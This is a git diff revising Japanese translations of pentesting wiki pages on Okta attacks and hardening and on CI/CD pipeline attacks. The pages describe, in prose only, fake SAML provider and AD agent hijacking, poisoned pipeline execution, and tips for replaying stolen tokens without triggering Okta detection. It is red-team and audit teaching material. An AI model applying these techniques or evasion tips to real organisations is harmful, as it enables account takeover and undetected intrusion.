-この技術は、最初にOAuthコードを取得し、その後APIトークンを要求することでOkta ADエージェントをハイジャックすることを含みます。トークンはADドメインに関連付けられ、**コネクタが偽のADエージェントを確立するために名前付けされます**。初期化により、エージェントは**認証試行を処理し、Okta APIを介して資格情報をキャプチャ**します。このプロセスを簡素化するための自動化ツールが利用可能で、Okta環境内で認証データを傍受および処理するシームレスな方法を提供します。 +この技術は、最初にOAuthコードを取得し、その後APIトークンを要求することでOkta ADエージェントをハイジャックすることを含みます。トークンはADドメインに関連付けられ、**コネクタが偽のADエージェントを確立するために名前付けされます**。初期化により、エージェントは**認証試行を処理し**、Okta APIを介して資格情報をキャプチャします。このプロセスを簡素化するための自動化ツールが利用可能で、Okta環境内で認証データを傍受および処理するシームレスな方法を提供します。 -**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。** ### Oktaの偽SAMLプロバイダー -**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**を確認してください。** +**攻撃の詳細は** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**で確認してください。** -この技術は、**偽のSAMLプロバイダーを展開する**ことを含みます。特権アカウントを使用してOktaのフレームワーク内に外部アイデンティティプロバイダー(IdP)を統合することで、攻撃者は**IdPを制御し、任意の認証要求を承認することができます**。このプロセスには、Okta内にSAML 2.0 IdPを設定し、ローカルホストファイルを介してリダイレクトするためにIdPシングルサインオンURLを操作し、自己署名証明書を生成し、Okta設定をユーザー名またはメールアドレスに一致させることが含まれます。これらの手順を成功裏に実行することで、個々のユーザー資格情報を必要とせずに任意のOktaユーザーとして認証でき、アクセス制御を大幅に強化することができます。 +この技術は、**偽のSAMLプロバイダーを展開する**ことを含みます。特権アカウントを使用してOktaのフレームワーク内に外部アイデンティティプロバイダー(IdP)を統合することで、攻撃者は**IdPを制御し、任意の認証要求を承認することができます**。このプロセスには、Okta内にSAML 2.0 IdPを設定し、ローカルホストファイルを介してリダイレクトするためにIdPシングルサインオンURLを操作し、自己署名証明書を生成し、ユーザー名またはメールに対してOkta設定を一致させることが含まれます。これらの手順を成功裏に実行することで、個々のユーザー資格情報を必要とせずに任意のOktaユーザーとして認証でき、アクセス制御を大幅に高めることができます。 ### Evilgnixを使用したOktaポータルのフィッシング @@ -73,16 +73,16 @@ Oktaの主力製品は**Okta Identity Cloud**です。このプラットフォ ### 同僚のなりすまし攻撃 -**各ユーザーが持ち、変更できる属性**(メールや名前など)はOktaで設定できます。もし**アプリケーション**が、ユーザーが**変更できる**属性をIDとして**信頼している**場合、そのユーザーは**そのプラットフォーム内で他のユーザーをなりすますことができます**。 +各ユーザーが持ち、変更できる**属性**(メールや名前など)は、Oktaで構成できます。もし**アプリケーション**が、ユーザーが**変更できる**属性をIDとして**信頼している**場合、そのプラットフォーム内で他のユーザーを**なりすます**ことができます。 -したがって、アプリが**`userName`**フィールドを信頼している場合、通常はそのフィールドを変更できないため(通常はそのフィールドを変更できないため)、例えば**`primaryEmail`**を信頼している場合、同僚のメールアドレスに**変更することができ、なりすますことができます**(メールにアクセスし、変更を承認する必要があります)。 +したがって、アプリが**`userName`**フィールドを信頼している場合、通常はそのフィールドを変更できない(通常はそのフィールドを変更できないため)ですが、例えば**`primaryEmail`**を信頼している場合、同僚のメールアドレスに**変更することができる**かもしれません(メールにアクセスし、変更を承認する必要があります)。 -このなりすましは、各アプリケーションがどのように設定されているかに依存することに注意してください。変更したフィールドを信頼し、更新を受け入れるアプリケーションのみが侵害されます。\ +このなりすましは、各アプリケーションがどのように構成されているかに依存することに注意してください。変更したフィールドを信頼し、更新を受け入れるアプリケーションのみが侵害されます。\ したがって、アプリはこのフィールドが存在する場合に有効にする必要があります:
-他のアプリケーションが脆弱であったが、Okta設定にそのフィールドがなかったのを見たこともあります(最終的に異なるアプリは異なる設定がされています)。 +他のアプリケーションが脆弱であったが、Okta設定にそのフィールドがなかったのを見たこともあります(最終的に異なるアプリは異なるように構成されています)。 各アプリで誰かをなりすますことができるかどうかを確認する最良の方法は、試してみることです! @@ -92,15 +92,15 @@ Oktaの行動検出ポリシーは遭遇するまで不明な場合がありま 主な推奨事項は以下の通りです: -- **人気のある匿名プロキシやVPNサービスを使用しない**で、キャプチャしたアクセストークンを再生する際には注意してください。 -- クライアントと再生されたアクセストークンの間で**一貫したユーザーエージェント文字列**を確保してください。 +- **人気のある匿名プロキシやVPNサービスを使用しない**で、キャプチャしたアクセストークンを再生します。 +- クライアントと再生されたアクセストークンの間で**一貫したユーザーエージェント文字列**を確保します。 - **異なるユーザーのトークンを同じIPアドレスから再生しない**でください。 -- Oktaダッシュボードに対してトークンを再生する際には注意してください。 -- 被害者企業のIPアドレスを知っている場合は、**そのIPまたはその範囲にトラフィックを制限し、他のすべてのトラフィックをブロックしてください**。 +- Oktaダッシュボードに対してトークンを再生する際は注意してください。 +- 被害者企業のIPアドレスを知っている場合は、**そのIPまたはその範囲にトラフィックを制限し**、他のすべてのトラフィックをブロックします。 ## Oktaの強化 -Oktaには多くの可能な設定があり、このページではそれらをできるだけ安全にするためのレビュー方法を見つけることができます: +Oktaには多くの可能な構成があり、このページではそれらをできるだけ安全にするためのレビュー方法を見つけることができます: {{#ref}} okta-hardening.md diff --git a/src/pentesting-ci-cd/okta-security/okta-hardening.md b/src/pentesting-ci-cd/okta-security/okta-hardening.md index cd664fc7d..052601ae3 100644 --- a/src/pentesting-ci-cd/okta-security/okta-hardening.md +++ b/src/pentesting-ci-cd/okta-security/okta-hardening.md @@ -6,7 +6,7 @@ ### People -攻撃者の視点から見ると、これは非常に興味深いです。なぜなら、**登録されているすべてのユーザー**、その**メール**アドレス、**所属しているグループ**、**プロフィール**、さらには**デバイス**(モバイルとそのOS)を見ることができるからです。 +攻撃者の視点から見ると、これは非常に興味深いです。なぜなら、**登録されているすべてのユーザー**、その**メール**アドレス、**所属グループ**、**プロフィール**、さらには**デバイス**(モバイルとそのOS)を確認できるからです。 ホワイトボックスレビューでは、**「保留中のユーザーアクション」**や**「パスワードリセット」**が複数存在しないことを確認してください。 @@ -15,31 +15,31 @@ ここでは、Oktaで作成されたすべてのグループを見つけることができます。異なるグループ(**権限のセット**)が**ユーザー**に付与される可能性を理解することは興味深いです。\ **グループに含まれる人々**や**各グループに割り当てられたアプリ**を見ることができます。 -もちろん、**admin**という名前のグループは興味深いです。特に**Global Administrators**グループを確認し、最も特権のあるメンバーが誰であるかを学んでください。 +もちろん、**admin**という名前のグループは興味深いです。特に**Global Administrators**グループを確認し、最も特権のあるメンバーを特定してください。 ホワイトボックスレビューでは、**グローバル管理者は5人以下であるべきです**(2人または3人が理想です)。 ### Devices -ここでは、すべてのユーザーの**デバイスのリスト**を見つけることができます。**アクティブに管理されているかどうか**も確認できます。 +ここで、すべてのユーザーの**デバイスのリスト**を見つけることができます。また、それが**積極的に管理されている**かどうかも確認できます。 ### Profile Editor -ここでは、名前、姓、メール、ユーザー名などの重要な情報がOktaと他のアプリケーションの間でどのように共有されているかを観察できます。これは興味深いです。なぜなら、ユーザーが**Oktaでフィールドを変更できる**(名前やメールなど)場合、それが**外部アプリケーション**によってユーザーを**識別**するために使用されると、内部者が他のアカウントを**乗っ取る**可能性があるからです。 +ここでは、名前、姓、メール、ユーザー名などの重要な情報がOktaと他のアプリケーションの間でどのように共有されているかを観察できます。これは、ユーザーが**Oktaでフィールドを修正**(名前やメールなど)できる場合、**外部アプリケーション**がそのユーザーを**識別**するために使用されるため、内部者が他のアカウントを**乗っ取る**可能性があるため、興味深いです。 -さらに、Oktaのプロフィール**`User (default)`**では、各**ユーザー**が持っている**フィールド**と、ユーザーが**書き込み可能**なフィールドを確認できます。管理パネルが見えない場合は、**プロフィール情報を更新**するために移動し、どのフィールドを更新できるかを確認してください(メールアドレスを更新するには確認が必要です)。 +さらに、Oktaのプロフィール**`User (default)`**では、各**ユーザー**が持つ**フィールド**と、ユーザーが**書き込み可能**なフィールドを確認できます。管理パネルが見えない場合は、**プロフィール情報を更新**するために移動し、どのフィールドを更新できるかを確認してください(メールアドレスを更新するには確認が必要です)。 ### Directory Integrations ディレクトリは、既存のソースから人々をインポートすることを可能にします。ここでは、他のディレクトリからインポートされたユーザーを見ることができると思います。 -見たことはありませんが、これは**Oktaがユーザーをインポートするために使用している他のディレクトリ**を見つけるのに興味深いと思います。もしそのディレクトリを**侵害**すれば、Oktaで作成されたユーザーの属性値を設定し、**Okta環境を侵害**する可能性があります。 +私はこれを見たことがありませんが、Oktaがユーザーをインポートするために使用している**他のディレクトリ**を見つけるのは興味深いです。もしそのディレクトリを**侵害**すれば、Oktaで作成されたユーザーの属性値を設定し、**Okta環境を侵害**する可能性があります。 ### Profile Sources プロファイルソースは、ユーザープロファイル属性の**真実のソースとして機能するアプリケーション**です。ユーザーは、一度に1つのアプリケーションまたはディレクトリからのみソースされることができます。 -見たことはありませんが、このオプションに関するセキュリティやハッキングに関する情報は感謝されます。 +私はこれを見たことがないので、このオプションに関するセキュリティやハッキングに関する情報は感謝されます。 ## Customizations @@ -47,7 +47,7 @@ このセクションの**Domains**タブで、メールを送信するために使用されるメールアドレスと、会社のOkta内のカスタムドメインを確認してください(おそらくすでに知っているでしょう)。 -さらに、**Setting**タブでは、管理者であれば**「カスタムサインアウトページを使用する」**を選択し、カスタムURLを設定できます。 +さらに、**Setting**タブでは、管理者であれば、**カスタムサインアウトページを使用**し、カスタムURLを設定できます。 ### SMS @@ -55,7 +55,7 @@ ### End-User Dashboard -ここでは、設定されたアプリケーションを見つけることができますが、それらの詳細は後の別のセクションで確認します。 +ここで構成されたアプリケーションを見つけることができますが、それらの詳細は後の別のセクションで確認します。 ### Other @@ -65,9 +65,9 @@ ### Applications -ここでは、すべての**設定されたアプリケーション**とその詳細を見つけることができます:誰がそれにアクセスできるか、どのように設定されているか(SAML、OpenID)、ログイン用のURL、Oktaとアプリケーション間のマッピング... +ここでは、すべての**構成されたアプリケーション**とその詳細を見つけることができます:誰がそれにアクセスできるか、どのように構成されているか(SAML、OpenID)、ログイン用のURL、Oktaとアプリケーション間のマッピング... -**`Sign On`**タブには、**`Password reveal`**というフィールドもあり、ユーザーがアプリケーション設定を確認する際に**パスワードを表示**できるようになります。ユーザーパネルからアプリケーションの設定を確認するには、3つのドットをクリックします: +**`Sign On`**タブには、ユーザーがアプリケーション設定を確認する際に**パスワードを表示**できる**`Password reveal`**というフィールドもあります。ユーザーパネルからアプリケーションの設定を確認するには、3つのドットをクリックします:
@@ -81,7 +81,7 @@ Access Certificationsを使用して、ユーザーのリソースへのアクセスを定期的にレビューし、必要に応じて自動的にアクセスを承認または取り消す監査キャンペーンを作成します。 -使用されているのを見たことはありませんが、防御的な観点からは良い機能だと思います。 +私はこれが使用されているのを見たことがありませんが、防御的な観点から見ると、良い機能だと思います。 ## Security @@ -90,7 +90,7 @@ Access Certificationsを使用して、ユーザーのリソースへのアク - **セキュリティ通知メール**:すべて有効にするべきです。 - **CAPTCHA統合**:少なくとも目に見えないreCaptchaを設定することをお勧めします。 - **組織のセキュリティ**:すべてを有効にでき、アクティベーションメールは長くかかるべきではありません(7日間は適切です)。 -- **ユーザー列挙防止**:両方を有効にするべきです。 +- **ユーザー列挙防止**:両方とも有効にするべきです。 - ユーザー列挙防止は、以下の条件のいずれかが許可されている場合には効果を発揮しません(詳細は[ユーザー管理](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm)を参照してください): - セルフサービス登録 - メール認証を伴うJITフロー @@ -98,7 +98,7 @@ Access Certificationsを使用して、ユーザーのリソースへのアク ### HealthInsight -ここでは、正しく設定された**設定**と**危険な**設定を見つけることができます。 +ここでは、正しく構成された**設定**と**危険な**設定を見つけることができます。 ### Authenticators @@ -128,9 +128,9 @@ MFAを要求し、セッションの有効期限を数時間に制限し、ブ アイデンティティプロバイダー(IdP)は、**ユーザーアカウントを管理する**サービスです。OktaにIdPを追加すると、エンドユーザーはソーシャルアカウントまたはスマートカードで最初に認証することによって、カスタムアプリケーションに**セルフ登録**できるようになります。 -アイデンティティプロバイダーのページでは、ソーシャルログイン(IdP)を追加し、インバウンドSAMLを追加することでOktaをサービスプロバイダー(SP)として設定できます。IdPを追加した後、ユーザーの場所、デバイス、またはメールドメインなどのコンテキストに基づいて、ユーザーをIdPに誘導するルールを設定できます。 +アイデンティティプロバイダーのページでは、ソーシャルログイン(IdP)を追加し、インバウンドSAMLを追加することでOktaをサービスプロバイダー(SP)として構成できます。IdPを追加した後、ユーザーの場所、デバイス、またはメールドメインなどのコンテキストに基づいて、ユーザーをIdPに誘導するルーティングルールを設定できます。 -**アイデンティティプロバイダーが構成されている場合**、攻撃者と防御者の視点からその構成を確認し、**ソースが本当に信頼できるかどうか**を確認してください。攻撃者がそれを侵害すれば、Okta環境にもアクセスできる可能性があります。 +**アイデンティティプロバイダーが構成されている場合**、攻撃者と防御者の視点からその設定を確認し、**ソースが本当に信頼できるかどうか**を確認してください。攻撃者がそれを侵害すれば、Okta環境にアクセスできる可能性があります。 ### Delegated Authentication @@ -144,21 +144,21 @@ MFAを要求し、セッションの有効期限を数時間に制限し、ブ 1つまたは複数のネットワークゾーンを定義した後、**グローバルセッションポリシー**、**認証ポリシー**、VPN通知、**ルーティングルール**で使用できます。 -攻撃者の視点からは、許可されているIPを知ることが興味深いです(および、**特権のあるIPが他にあるかどうかを確認**)。攻撃者の視点から、ユーザーが特定のIPアドレスまたは地域からアクセスする必要がある場合、この機能が適切に使用されているかを確認してください。 +攻撃者の視点からは、許可されているIPを知ることが興味深いです(および、**特権のあるIPが他にないか確認する**)。攻撃者の視点から、ユーザーが特定のIPアドレスまたは地域からアクセスする必要がある場合、この機能が適切に使用されているか確認してください。 ### Device Integrations - **エンドポイント管理**:エンドポイント管理は、管理されたデバイスがアプリケーションにアクセスできることを保証するために、認証ポリシーに適用できる条件です。 -- まだこれが使用されているのを見たことはありません。TODO -- **通知サービス**:まだこれが使用されているのを見たことはありません。TODO +- まだこれが使用されているのを見たことがありません。TODO +- **通知サービス**:まだこれが使用されているのを見たことがありません。TODO ### API -このページでOkta APIトークンを作成し、**作成された**トークン、**権限**、**有効期限**、および**Origin URLs**を確認できます。APIトークンは、トークンを作成したユーザーの権限で生成され、トークンを作成した**ユーザー**が**アクティブ**である場合にのみ有効です。 +このページでOkta APIトークンを作成し、**作成された**トークン、**権限**、**有効期限**、および**Origin URLs**を確認できます。APIトークンは、トークンを作成したユーザーの権限で生成され、**作成したユーザー**が**アクティブ**である場合にのみ有効です。 **Trusted Origins**は、あなたが制御し信頼するウェブサイトがOkta APIを通じてあなたのOkta組織にアクセスすることを許可します。 -APIトークンはあまり多くないべきです。なぜなら、トークンが多すぎると、攻撃者がそれにアクセスし、使用しようとする可能性があるからです。 +APIトークンは多くないべきです。なぜなら、もし多く存在すれば、攻撃者がそれにアクセスし、使用しようとする可能性があるからです。 ## Workflow @@ -166,7 +166,7 @@ APIトークンはあまり多くないべきです。なぜなら、トーク 自動化により、エンドユーザーのライフサイクル中に発生する一連のトリガー条件に基づいて実行される自動アクションを作成できます。 -例えば、条件は「Oktaでのユーザーの非アクティブ状態」や「Oktaでのユーザーパスワードの有効期限切れ」で、アクションは「ユーザーにメールを送信」または「Oktaでのユーザーライフサイクル状態を変更」などです。 +例えば、条件は「Oktaでのユーザーの非活動」や「Oktaでのユーザーパスワードの有効期限切れ」であり、アクションは「ユーザーにメールを送信」または「Oktaでのユーザーライフサイクル状態を変更」などです。 ## Reports @@ -176,11 +176,11 @@ APIトークンはあまり多くないべきです。なぜなら、トーク ### System Log -ここでは、ユーザーによって実行された**アクションのログ**を見つけることができ、OktaやOktaを通じてアプリケーションにログインする際の詳細が多く含まれています。 +ここでは、ユーザーによって実行された**アクションのログ**を見つけることができ、Oktaやアプリケーションへのログインなどの詳細が含まれています。 ### Import Monitoring -これは、Oktaでアクセスされた他のプラットフォームから**ログをインポート**できます。 +これは、Oktaでアクセスされた**他のプラットフォームからのログをインポート**できます。 ### Rate limits @@ -190,7 +190,7 @@ APIトークンはあまり多くないべきです。なぜなら、トーク ### Account -ここでは、会社名、住所、**メール請求連絡先**、**メール技術連絡先**、およびOktaの更新を受け取るべき人とどのような種類のOktaの更新があるかについての**一般的な情報**を見つけることができます。 +ここでは、会社名、住所、**メール請求連絡先**、**メール技術連絡先**、およびOktaの更新を受け取るべき人とどのような種類のOktaの更新があるかに関する**一般的な情報**を見つけることができます。 ### Downloads diff --git a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md index 131b0efe2..2ac1cbd0d 100644 --- a/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md +++ b/src/pentesting-ci-cd/pentesting-ci-cd-methodology.md @@ -6,7 +6,7 @@ ## VCS -VCSは**Version Control System**の略で、このシステムは開発者が**ソースコードを管理する**ことを可能にします。最も一般的なものは**git**で、通常、企業は以下の**プラットフォーム**のいずれかで使用しています: +VCSは**Version Control System**の略で、このシステムは開発者が**ソースコードを管理する**ことを可能にします。最も一般的なものは**git**で、企業は通常以下の**プラットフォーム**のいずれかで使用しています: - Github - Gitlab @@ -18,71 +18,71 @@ VCSは**Version Control System**の略で、このシステムは開発者が** CI/CDパイプラインは、開発者が**コードの実行を自動化する**ことを可能にし、アプリケーションのビルド、テスト、デプロイなどのさまざまな目的に使用されます。これらの自動化されたワークフローは、コードのプッシュ、プルリクエスト、またはスケジュールされたタスクなどの**特定のアクションによってトリガーされます**。これにより、開発から本番環境へのプロセスが効率化されます。 -ただし、これらのシステムは**どこかで実行される必要があり、通常はコードをデプロイしたり、機密情報にアクセスするための**特権資格情報が必要です。 +ただし、これらのシステムは**どこかで実行される必要があり**、通常は**コードをデプロイしたり、機密情報にアクセスするための特権的な資格情報が必要です**。 ## VCS Pentesting Methodology > [!NOTE] -> 一部のVCSプラットフォームがこのセクションのためにパイプラインを作成することを許可している場合でも、ここではソースコードの制御に対する潜在的な攻撃のみを分析します。 +> 一部のVCSプラットフォームがパイプラインを作成することを許可している場合でも、このセクションではソースコードの制御に対する潜在的な攻撃のみを分析します。 プロジェクトのソースコードを含むプラットフォームは機密情報を含んでおり、人々はこのプラットフォーム内で付与された権限に非常に注意する必要があります。攻撃者が悪用できるVCSプラットフォーム全体での一般的な問題は以下の通りです: -- **漏洩**:コードにコミット内の漏洩が含まれており、攻撃者がリポジトリにアクセスできる場合(公開されているか、アクセス権を持っている場合)、漏洩を発見する可能性があります。 -- **アクセス**:攻撃者が**VCSプラットフォーム内のアカウントにアクセスできる場合**、**より多くの可視性と権限を得ることができます**。 -- **登録**:一部のプラットフォームでは、外部ユーザーがアカウントを作成することを許可します。 -- **SSO**:一部のプラットフォームでは、ユーザーが登録することを許可しませんが、有効なSSOでアクセスすることを許可します(したがって、攻撃者は例えば自分のgithubアカウントを使用して入ることができます)。 -- **資格情報**:ユーザー名+パスワード、個人トークン、sshキー、Oauthトークン、クッキー... ユーザーがリポジトリにアクセスするために盗むことができるさまざまな種類のトークンがあります。 -- **Webhooks**:VCSプラットフォームはwebhookを生成することを許可します。これらが**見えない秘密で保護されていない場合、**攻撃者がそれを**悪用する可能性があります**。 -- 秘密が設定されていない場合、攻撃者はサードパーティプラットフォームのwebhookを悪用する可能性があります。 -- 秘密がURLに含まれている場合、同様のことが起こり、攻撃者も秘密を持っています。 -- **コードの妥協**:悪意のある行為者がリポジトリに対して何らかの**書き込み**アクセスを持っている場合、**悪意のあるコードを注入しようとする可能性があります**。成功するためには、**ブランチ保護を回避する**必要があるかもしれません。これらの行動は、さまざまな目標を持って実行される可能性があります: +- **Leaks**: コードにコミット内の漏洩が含まれており、攻撃者がリポジトリにアクセスできる場合(公開されているか、アクセス権を持っている場合)、漏洩を発見する可能性があります。 +- **Access**: 攻撃者が**VCSプラットフォーム内のアカウントにアクセスできる場合**、**より多くの可視性と権限を得ることができます**。 +- **Register**: 一部のプラットフォームでは、外部ユーザーがアカウントを作成することを許可します。 +- **SSO**: 一部のプラットフォームではユーザーの登録を許可しませんが、有効なSSOでアクセスすることは許可します(例えば、攻撃者が自分のgithubアカウントを使用して入ることができます)。 +- **Credentials**: ユーザー名+パスワード、個人トークン、sshキー、Oauthトークン、クッキー... ユーザーがリポジトリにアクセスするために盗むことができるトークンの種類はさまざまです。 +- **Webhooks**: VCSプラットフォームはウェブフックを生成することを許可します。これらが**見えない秘密で保護されていない場合、攻撃者がそれを悪用する可能性があります**。 +- 秘密が設定されていない場合、攻撃者はサードパーティプラットフォームのウェブフックを悪用する可能性があります。 +- 秘密がURLに含まれている場合も同様で、攻撃者は秘密を持っています。 +- **Code compromise:** 悪意のある行為者がリポジトリに対して**書き込み**アクセスを持っている場合、**悪意のあるコードを注入しようとする可能性があります**。成功するためには、**ブランチ保護を回避する**必要があるかもしれません。これらの行動は、さまざまな目的を持って実行される可能性があります: - メインブランチを妥協して**本番環境を妥協する**。 -- メイン(または他のブランチ)を妥協して**開発者のマシンを妥協する**(通常、彼らは自分のマシンでテスト、terraform、または他のことを実行します)。 +- メイン(または他のブランチ)を妥協して**開発者のマシンを妥協する**(彼らは通常、テスト、terraform、または他の作業を自分のマシン内のリポジトリで実行します)。 - **パイプラインを妥協する**(次のセクションを確認)。 ## Pipelines Pentesting Methodology -パイプラインを定義する最も一般的な方法は、**リポジトリにホストされたCI構成ファイルを使用すること**です。このファイルは、実行されるジョブの順序、フローに影響を与える条件、およびビルド環境の設定を説明します。\ -これらのファイルは通常、一貫した名前と形式を持ちます。例えば、Jenkinsfile(Jenkins)、.gitlab-ci.yml(GitLab)、.circleci/config.yml(CircleCI)、および.github/workflowsの下にあるGitHub Actions YAMLファイルです。トリガーされると、パイプラインジョブは**選択されたソースからコードをプルし**、そのコードに対して**CI構成ファイルに指定されたコマンドを実行します**。 +パイプラインを定義する最も一般的な方法は、パイプラインがビルドする**リポジトリにホストされたCI構成ファイルを使用する**ことです。このファイルは、実行されるジョブの順序、フローに影響を与える条件、およびビルド環境の設定を記述します。\ +これらのファイルは通常、一貫した名前と形式を持ち、例えば — Jenkinsfile(Jenkins)、.gitlab-ci.yml(GitLab)、.circleci/config.yml(CircleCI)、および.github/workflowsの下にあるGitHub Actions YAMLファイルです。トリガーされると、パイプラインジョブは**選択されたソースからコードをプルし**、そのコードに対して**CI構成ファイルに指定されたコマンドを実行します**。 したがって、攻撃者の最終的な目標は、何らかの方法で**これらの構成ファイル**または**それらが実行するコマンドを妥協する**ことです。 ### PPE - Poisoned Pipeline Execution -Poisoned Pipeline Execution(PPE)パスは、SCMリポジトリ内の権限を悪用してCIパイプラインを操作し、有害なコマンドを実行します。必要な権限を持つユーザーは、CI構成ファイルやパイプラインジョブで使用される他のファイルを変更して悪意のあるコマンドを含めることができます。これにより、CIパイプラインが「毒され」、これらの悪意のあるコマンドが実行されます。 +Poisoned Pipeline Execution(PPE)パスは、SCMリポジトリ内の権限を悪用してCIパイプラインを操作し、有害なコマンドを実行します。必要な権限を持つユーザーは、CI構成ファイルやパイプラインジョブで使用される他のファイルを変更して悪意のあるコマンドを含めることができます。これにより、CIパイプラインが「汚染」され、これらの悪意のあるコマンドが実行されます。 悪意のある行為者がPPE攻撃を成功させるためには、以下のことができる必要があります: - **VCSプラットフォームへの書き込みアクセスを持つ**必要があります。通常、パイプラインはプッシュまたはプルリクエストが行われたときにトリガーされます。(アクセスを得る方法の概要についてはVCSペンテスティング方法論を確認してください)。 - 時には**外部PRが「書き込みアクセス」としてカウントされる**ことに注意してください。 - 書き込み権限があっても、**CI構成ファイルや構成が依存している他のファイルを変更できることを確認する必要があります**。 -- これには、**ブランチ保護を回避する**必要があるかもしれません。 +- そのためには、**ブランチ保護を回避する**必要があるかもしれません。 PPEには3つのフレーバーがあります: -- **D-PPE**:**直接PPE**攻撃は、行為者が**実行されるCI構成**ファイルを**変更する**ときに発生します。 -- **I-DDE**:**間接PPE**攻撃は、行為者が**実行されるCI構成ファイルが依存している**ファイル(makeファイルやterraform構成など)を**変更する**ときに発生します。 -- **Public PPEまたは3PE**:場合によっては、パイプラインは**リポジトリに書き込みアクセスを持たないユーザーによってトリガーされる**ことがあります(そしてそれらは組織の一部でないかもしれません)なぜなら、彼らはPRを送信できるからです。 -- **3PEコマンドインジェクション**:通常、CI/CDパイプラインは**PRに関する情報で**環境変数を**設定します**。その値が攻撃者によって制御でき(PRのタイトルのように)、**危険な場所で使用される**場合(例えば**shコマンドを実行する**)、攻撃者は**そこにコマンドを注入する**可能性があります。 +- **D-PPE**: **Direct PPE**攻撃は、行為者が**実行されるCI構成**ファイルを**変更する**ときに発生します。 +- **I-DDE**: **Indirect PPE**攻撃は、行為者が**実行されるCI構成ファイルが依存している**ファイル(makeファイルやterraform構成など)を**変更する**ときに発生します。 +- **Public PPEまたは3PE**: 場合によっては、パイプラインは**リポジトリに書き込みアクセスを持たないユーザーによってトリガーされる**ことがあります(彼らは組織の一部でない可能性もあります)なぜなら、彼らはPRを送信できるからです。 +- **3PE Command Injection**: 通常、CI/CDパイプラインは**PRに関する情報を持つ環境変数を設定します**。その値が攻撃者によって制御でき(PRのタイトルのように)、**危険な場所で使用される**場合(**shコマンドを実行する**など)、攻撃者は**そこにコマンドを注入する**可能性があります。 ### Exploitation Benefits -パイプラインを毒するための3つのフレーバーを知った上で、攻撃者が成功した悪用の後に何を得ることができるかを確認しましょう: +パイプラインを汚染する3つのフレーバーを知ることで、攻撃者が成功した悪用の後に得られるものを確認しましょう: -- **秘密**:前述のように、パイプラインはそのジョブに**特権**を必要とします(コードを取得し、ビルドし、デプロイする...)これらの特権は通常**秘密に付与されます**。これらの秘密は通常、**環境変数やシステム内のファイルを介してアクセス可能です**。したがって、攻撃者は常にできるだけ多くの秘密を流出させようとします。 -- パイプラインプラットフォームによっては、攻撃者が**構成内で秘密を指定する必要がある**かもしれません。これは、攻撃者がCI構成パイプラインを変更できない場合(例えば**I-PPE**)、彼が**そのパイプラインが持つ秘密のみを流出させることができる**ことを意味します。 -- **計算**:コードはどこかで実行され、実行される場所によっては、攻撃者がさらにピボットできるかもしれません。 -- **オンプレミス**:パイプラインがオンプレミスで実行される場合、攻撃者は**より多くのリソースにアクセスできる内部ネットワークに到達する可能性があります**。 -- **クラウド**:攻撃者は**クラウド内の他のマシンにアクセスする**ことができるだけでなく、**IAMロール/サービスアカウントのトークンを流出させる**こともでき、**クラウド内でさらにアクセスを得る**ことができます。 -- **プラットフォームマシン**:時には、ジョブが**パイプラインプラットフォームマシン内で実行される**ことがあり、通常は**他のアクセスがない**クラウド内にあります。 -- **選択する**:時には、**パイプラインプラットフォームが複数のマシンを構成している**ことがあり、CI構成ファイルを**変更できれば、悪意のあるコードを実行したい場所を指定できます**。この状況では、攻撃者はおそらく各可能なマシンでリバースシェルを実行して、さらに悪用しようとするでしょう。 -- **本番環境を妥協する**:パイプライン内にいて、最終バージョンがそこからビルドされてデプロイされる場合、**本番環境で実行されるコードを妥協する**ことができます。 +- **Secrets**: 前述のように、パイプラインはそのジョブに**特権**を必要とします(コードを取得し、ビルドし、デプロイする...)これらの特権は通常**秘密に付与されます**。これらの秘密は通常、**環境変数やシステム内のファイルを介してアクセス可能です**。したがって、攻撃者は常にできるだけ多くの秘密を流出させようとします。 +- パイプラインプラットフォームによっては、攻撃者が**構成内で秘密を指定する必要がある**場合があります。これは、攻撃者がCI構成パイプラインを変更できない場合(例えば**I-PPE**)、そのパイプラインが持つ秘密のみを**流出させることができる**ことを意味します。 +- **Computation**: コードはどこかで実行され、実行される場所によっては、攻撃者がさらにピボットできる可能性があります。 +- **On-Premises**: パイプラインがオンプレミスで実行される場合、攻撃者は**より多くのリソースにアクセスできる内部ネットワークに到達する可能性があります**。 +- **Cloud**: 攻撃者は**クラウド内の他のマシンにアクセスする**ことができるだけでなく、**IAMロール/サービスアカウントのトークンを流出させて**、**クラウド内でさらにアクセスを得る**ことができます。 +- **Platforms machine**: 時には、ジョブが**パイプラインプラットフォームのマシン内で実行される**ことがあり、通常は**他のアクセスがない**クラウド内にあります。 +- **Select it:** 時には、**パイプラインプラットフォームが複数のマシンを構成している**ことがあり、CI構成ファイルを**変更できれば、悪意のあるコードを実行したい場所を指定できます**。この状況では、攻撃者はおそらく各可能なマシンでリバースシェルを実行して、さらに悪用しようとします。 +- **Compromise production**: パイプライン内にいて、最終バージョンがそこからビルドされてデプロイされる場合、**本番環境で実行されるコードを妥協する**ことができます。 ## More relevant info ### Tools & CIS Benchmark -- [**Chain-bench**](https://github.com/aquasecurity/chain-bench)は、セキュリティコンプライアンスのためにソフトウェアサプライチェーンスタックを監査するためのオープンソースツールです。新しい[**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)に基づいています。監査は、コードのタイミングからデプロイのタイミングまでのリスクを明らかにするSDLCプロセス全体に焦点を当てています。 +- [**Chain-bench**](https://github.com/aquasecurity/chain-bench)は、セキュリティコンプライアンスのためにソフトウェアサプライチェーンスタックを監査するオープンソースツールです。新しい[**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf)に基づいています。監査は、コードのタイミングからデプロイのタイミングまでのリスクを明らかにするSDLCプロセス全体に焦点を当てています。 ### Top 10 CI/CD Security Risk @@ -90,12 +90,12 @@ Ciderによるトップ10のCI/CDリスクに関する興味深い記事を確 ### Labs -- 